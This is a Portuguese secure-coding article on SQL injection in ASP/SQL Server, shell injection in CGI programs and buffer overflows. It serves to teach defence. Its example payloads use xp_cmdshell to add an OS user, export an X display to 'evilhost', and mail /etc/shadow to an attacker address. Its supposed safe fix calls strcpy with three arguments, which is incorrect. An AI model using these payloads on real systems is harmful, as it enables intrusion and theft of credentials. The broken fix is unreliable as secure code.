Segurança em aplicações: entrando em detalhes


(Com Victor Pereira)
Publicado no site Modulo.com.br

No artigo da semana passada falamos um pouco sobre o problema das falhas de segurança no desenvolvimento de aplicações. Recebemos alguns e-mails pedindo mais detalhes, mostrando que realmente existe pouco conhecimento no meio sobre o assunto. Desta vez falaremos mais detalhadamente sobre algumas dessas falhas, mostrando também qual a melhor forma de evita-las.

SQL Server e ASP

Com a estratégia de preços agressiva da Microsoft para o seu produto gerenciador de Banco de Dados, diversos sites optaram pelo SQL Server como base para seus sistemas de e-commerce. Em muitos casos, porém, o produto foi instalado por profissionais cuja especialidade não é gerenciadores de banco de dados. São desenvolvedores que aprendem o básico do produto para poder fazer testes e montar um laboratório de desenvolvimento. Ocorre que, como todo produto da Microsoft, o SQL Server vem com uma configuração inicial com baixo nível de segurança, para facilitar o uso por pessoas menos experientes e permitir uma implementação rápida.

Ao ser utilizado como base para sistemas conectados à Internet, um SQL Server com essa configuração, aliado a aplicações defeituosas, pode ser a porta de entrada para uma invasão da rede. Em casos mais triviais, o acesso direto ao sistema de banco de dados pode ser feito através do usuário administrador do banco de dados, o SA, que na instalação padrão não tem senha configurada. Em resumo, em uma instalação padrão qualquer um que tenha acesso ao servidor de banco de dados poderá faze-lo como administrador dos dados. Acesso completo. O problema é ainda maior devido à existência de Stored Procedures (rotinas pré-fabricadas de uso do banco de dados) que já vem instaladas e que podem, entre outras coisas, executar comandos do sistema operacional. Sendo assim, como o usuário administrador do SQL Server é também um usuário administrador do sistema operacional, através do acesso privilegiado ao banco de dados obtem-se acesso completo ao servidor onde o software está instalado.

Mas afinal, o que isso tem a ver com as aplicações? Tudo! Afinal de contas, as aplicações acessam o banco de dados para consulta ou entrada de informações. No caso da dupla ASP/SQL Server, o acesso costuma ser feito através de consultas utilizando a linguagem SQL. Justamente através do SQL é que podemos acessar as Stored Procedures do SQL Server. O problema maior acontece quando as consultas são montadas com dados fornecidos pelos usuários. Teremos algo parecido com o exemplo abaixo:

SQLString = “SELECT * FROM PRODUTOS WHERE NOME = ‘” & Request.form(“produto”) & “’”

Para quem não conhece ASP, na linha acima estamos montando uma consulta SQL que listara todos os registros da tabela PRODUTOS onde o campo NOME é igual ao conteúdo do campo de formulário HTML “produto”. Uma informação vinda diretamente do browser do usuário. Se o usuário digitou “bicicleta”, por exemplo, teríamos a seguinte consulta montada:


SELECT * FROM PRODUTOS WHERE NOME=’bicicleta’

Nada de extraordinário até esse ponto. Começaremos a ver a implicação do que fizemos acima se analisarmos algumas características da linguagem SQL. Um dos recursos disponíveis, por exemplo, é o uso do caractere “;” para a execução de mais de uma consulta na mesma linha. Qual seria o resultado, então, se o usuário digitasse a seguinte informação no formulário:

xx’ ; exec master..xp_cmdshell ‘net user hacker hacker /add’

A consulta, montada de acordo com o que fizemos mais acima, resultaria no seguinte:

SELECT * FROM PRODUTOS WHERE NOME=’xx’ ; exec master..xp_cmdshell ‘net user hacker hacker /add’

A Stored Procedure xp_cmdshell envia um comando para ser executado diretamente pelo sistema operacional. Sendo assim, estamos fazendo o SQL Server executar um comando que criará um usuário no servidor. Como estou, nesse exemplo, supondo que a aplicação está acessando o banco como usuário SA (prática extremamente comum, é a forma mais fácil de se implementar), posso não apenas criar um usuário como também adiciona-lo no grupo de administradores. O Servidor foi comprometido.

O exemplo acima não é apenas hipotético, pois como a maioria dos livros sobre o assunto não tratam da questão da segurança, muitas vezes os próprios exemplos contidos nos livros já são vulneráveis. Os programadores estão aprendendo que fazer dessa maneira e correto! O resultado funcionará como desejado nos casos em que o usuário faz apenas aquilo que deve fazer, mas deixa a desejar quando o objetivo é comprometer o sistema.

A solução para o problema, porém, é extremamente simples. Diversas ações podem ser feitas com o intuito de eliminar o problema. O ideal é agir em mais de uma frente, adicionando mais de uma camada de segurança e reduzindo as possibilidades de ataque. Uma das mais importantes é a configuração do SQL Server. Um gerenciador de banco de dados bem configurado pode reduzir bastante o que o usuário mal intencionado pode fazer. Como nosso foco no momento é o desenvolvimento, vamos estudar quais as melhores opções de defesa dentro da aplicação.

Nunca, mas nunca mesmo, confie nos dados enviados pelo usuário. Não estamos dizendo que seu usuário ou cliente não é boa pessoa ou qualquer coisa do tipo, mas sim que nem sempre podemos ter certeza que a pessoa na outra ponta tem autorização para usar o sistema ou mesmo se quer utilizar o sistema. Em casos de ataques a sites de comércio eletrônico o uso do sistema é apenas um caminho para o comprometimento do servidor. Sendo assim, tudo aquilo que vem do browser, desde o conteúdo dos cookies, o que foi preenchido em formulários (inclusive campos hidden) ou mesmo informações contidas na URL (normalmente devido à utilização do método GET) deve ser checado. Essa checagem inclui a eliminação de caracteres especiais (por que alguém utilizaria “;”, “’” ou “ em um campo para digitar o nome?), tags HTML ou ASP (normalmente tentativas de ataques de cross-site scripting), truncagem de informações com tamanho maior que o limite (falaremos mais sobre isso mais adiante) e checagem do formato de dados (validação de formato de telefone, CPF, número de cartão de crédito, etc). Esses cuidados são importantes, mas não são os únicos que devem ser tomados, pois os tipos de entradas malignas existentes vão depender das tecnologias e produtos utilizados pelo sistema.

Outras ações que podem ser tomadas visam reduzir os privilégios de acesso (se é um site de consulta, por que o usuário utilizado para acesso ao banco de dados tem acesso de escrita?) e a forma como o banco de dados pode ser acessado (Stored Procedures). A dica genérica para o desenvolvimento de aplicações seguras vale para toda plataforma, SQL Server/ASP inclusive. Verifique tudo que a aplicação recebe, e uma boa parte do problema está resolvida.

CGI

Outra forma de desenvolver sistemas na Internet é através de CGIs. CGIs são aplicações que recebem informações de forma padronizada através do Web Server (normalmente enviadas pelo usuário) e cuja saída é diretamente repassada ao browser do usuário. As mesmas recomendações dadas para as aplicações em ASP valem para os sistemas em CGI. Assim como em ASP, existem situações onde as informações passadas pelo usuário são diretamente repassadas a outras aplicações. Exemplos freqüentes são os sistemas que enviam e-mails em UNIX. Muitos deles utilizam chamadas ao programa mail, interface do famoso sendmail. É comum encontrar linhas como essa em programas CGI:

snprintf (2048, svar, "echo '%s' | /bin/mail -s 'website feedback' webmaster@localhost");

system (svar);

No exemplo acima o conteúdo de uma variável está sendo automaticamente enviado por e-mail para webmaster@localhost. Para que isso seja feito monta-se uma linha que será executada pelo sistema operacional (a função system). Nesse caso existe o mesmo risco que foi demonstrado no caso da consulta SQL. Abaixo temos um exemplo de conteúdo maligno para a variável citada:

' | export DISPLAY=evilhost:0 && xterm & | echo 'hacked'

Com isso, a variável svar, que será executada pelo Shell, será a seguinte:

"echo ' ' | export DISPLAY=evilhost:0 && xterm & | echo 'hacked' | /bin/mail -s

'website feedback' webmaster@localhost"

Ao ser executado, o comando não apenas enviará o e-mail mas também exportará um display para a máquina do atacante.

O problema é agravado devido ao costume de utilizar-se aplicações CGI com permissões de usuário root. Isso é possível através do SUID bit, que não de vê ser usado em situações que não requeiram acessos privilegiados.

Em outras situações, as aplicações utilizam informações provenientes da URL chamada ou de campos HIDDEN do formulário para acessar outros arquivos no disco. São nestas situações em que utiliza-se o “..” para fazer com que a aplicação acesse arquivos fora da área protegida pelo Web Server. Isso pode ser constatado no exemplo abaixo:

<html>
<head>
<title>
CGI FORM TEST
</title>
</head>
<body bgcolor=#FFFFFF>
<form method = "POST" action="/cgi-bin/form.cgi">
<h2>FORMULARIO</h2>
Digite Seu email: <input name="name"><p>
Digite aqui sua mensagem: <input type="text" name="msg">
<input type="hidden" Name="webmaster" Value="webmaster@meusite.org">
Mande sua msg: <input type="submit" value="here">
</form>
</body>
</html>

Um usuário mal intencionado poderia copiar o arquivo acima para sua maquina local e alterar alguns campos:

<input type="hidden" Name="webmaster" Value="webmaster@meusite.org;mail hacker@evil.org < /etc/shadow">

Lembrando que o arquivo “shadow” apenas pode ser enviado caso a aplicação em questão estivesse sendo executada com o SUID bit habilitado. Se a aplicação form.cgi fizer a chamada ao sendmail como demonstrado abaixo, a vulnerabilidade pode ser explorada:

system("/usr/sbin/sendmail $webmaster < $msg");

Vale lembrar que não é apenas a chamada system() que passa informações para a shell. Em Perl (linguagem muito usada no desenvolvimento de CGI) isso também é possível faze-lo ao abrir um pipe, usar backsticks (`) ou chamar a função exec, como neste outro exemplo:

open(OUT,"|programa $args");

`programa $args`;

exec("programa $args");

Em C, a chamada popen(3) também chama a Shell:

popen("programa","w");

A solução para os problemas acima é a mesma apresentada para as soluções em ASP: Filtrar toda a entrada de dados. No caso de CGI, há ainda algumas formas adicionais de entrada de dados, como as variáveis de ambiente (HTTP_REFERER, por exemplo), que além de poderem servir de porta de entrada para conteúdo maligno, também podem ser forjadas. Controles de origem baseados nessas variáveis, portanto, não são confiáveis e podem ser driblados.

Na plataforma UNIX outros cuidados adicionais podem e devem ser tomados para evitar que uma falha em aplicação possa ser explorada. As permissões dos arquivos devem estar cuidadosamente configuradas, e o recurso de chroot, que permite isolar um pedaço do sistema de arquivos para acesso público, deve ser implementado sempre que possível. Praticamente todos os sistemas operacionais trazem recursos como estes que podem reduzir o dano causado por um ataque que explore uma aplicação. É tarefa dos administradores conhece-los e, é claro, usa-los.

Buffer Overflows

Existem problemas que acontecem devido às falhas de segurança em aplicações que são independentes da plataforma de desenvolvimento ou do sistema operacional. Talvez aquele que traga mais risco é o estouro de buffer (buffer overflow).

Buffer overflow nada mais é do que uma condição em um programa onde em um determinado momento tenta-se copiar mais dados dentro de um buffer do que ele pode suportar. Isso acontece no exemplo abaixo:

char input[]="aaaaaaaaaaaa";

char buffer[10];

strcpy(buffer,input);

O exemplo acima irá causar um "segmentation fault", pois estamos copiando 12 bytes para um buffer que consegue armazenar apenas 11 bytes. Uma versão segura do exemplo acima seria:

char input[]="aaaaaaaaaaaa";

char buffer[10];

strcpy(buffer,input,sizeof(buffer));

Desta vez será copiada apenas a quantidade esperada de bytes. Infelizmente são poucos os programadores que tem a preocupação de verificar tudo o que chega por um processo de entrada de dados, seja ele via URL, formulários (no caso de um CGI), ou como argumento (utilitários , daemons).

No caso de um buffer overflow ocorrer, o que acontece com os bytes que “transbordam” do buffer? Abaixo segue um exemplo de como o buffer do primeiro exemplo poderia ser representado, assim como sua posição na memória:



Buffer sfp ret

[AAAAAAAAAA][xxxx][xxxx]



Esta é uma parte do Stack, estrutura de dados utilizada para armazenar informações temporárias ou de controle de fluxo do programa. Basicamente nos temos 10 bytes de buffer (9 + um caractere NULL, que representa o final da string); Logo na seqüência do Stack existem 4 bytes de stack frame e 4 bytes de endereço de retorno, que será utilizado pelo programa em seu controle de fluxo (para onde voltar depois de ter executado uma subrotina, por exemplo).

Quando a função strcpy() é chamada, o stack frame é alocado para o buffer e o endereço de retorno nesse stack frame armazena a instrução que viria logo após a chamada strcpy(). O que poderia acontecer se por algum motivo o endereço de retorno fosse alterado e ao invés de apontar para a instrução apos o strcpy apontasse para um outro endereço especifico na memoria?

Levando em conta que é comum que alguns programas (principalmente daemons) sejam executados com diretos de administrador, se o endereço de retorno apontar para um shellcode (pedaço de código que pode, por exemplo, abrir uma shell, para o usuário do programa), o usuário rodando uma aplicação com tal falha poderia obter um acesso Shell (linha de comando do sistema operacional - bash, por exemplo) com direitos de administrador.

Além da verificação do tamanho dos dados antes de inseri-los em buffers, pode-se ainda utilizar sistemas de proteção de Stack, que evitam que shellcodes inseridos nos buffers possam ser executados. Embora sejam “remendos” para o problema e podem ser driblados em certas ocasiões, é uma camada de proteção adicional e que deve ser levada em consideração no momento de implementação do sistema.

Existem ainda várias outras situações onde falhas em aplicações podem ser exploradas para se obter acesso não autorizado ou para danificar o sistema. A melhor maneira de evitar tais situações, no entanto, é o desenvolvimento consciente, onde os desenvolvedores conhecem os perigos existentes e as melhores maneiras de evita-los. Encontrar falhas em aplicações em produção é um processo caro e que nem sempre testa todas as possibilidades. O tratamento das falhas no momento de desenvolvimento, portanto, é a melhor maneira de se evita-las. O envolvimento de um profissional de segurança da informação nas etapas de projeto, desenvolvimento e teste da aplicação é essencial para que o produto final esteja livre de tais falhas. Não podemos nunca esquecer também que, por mais consistente que tenha sido o desenvolvimento da aplicação, é importante que o ambiente onde ela será executada esteja bem projetado e configurado de acordo com os conceitos de segurança.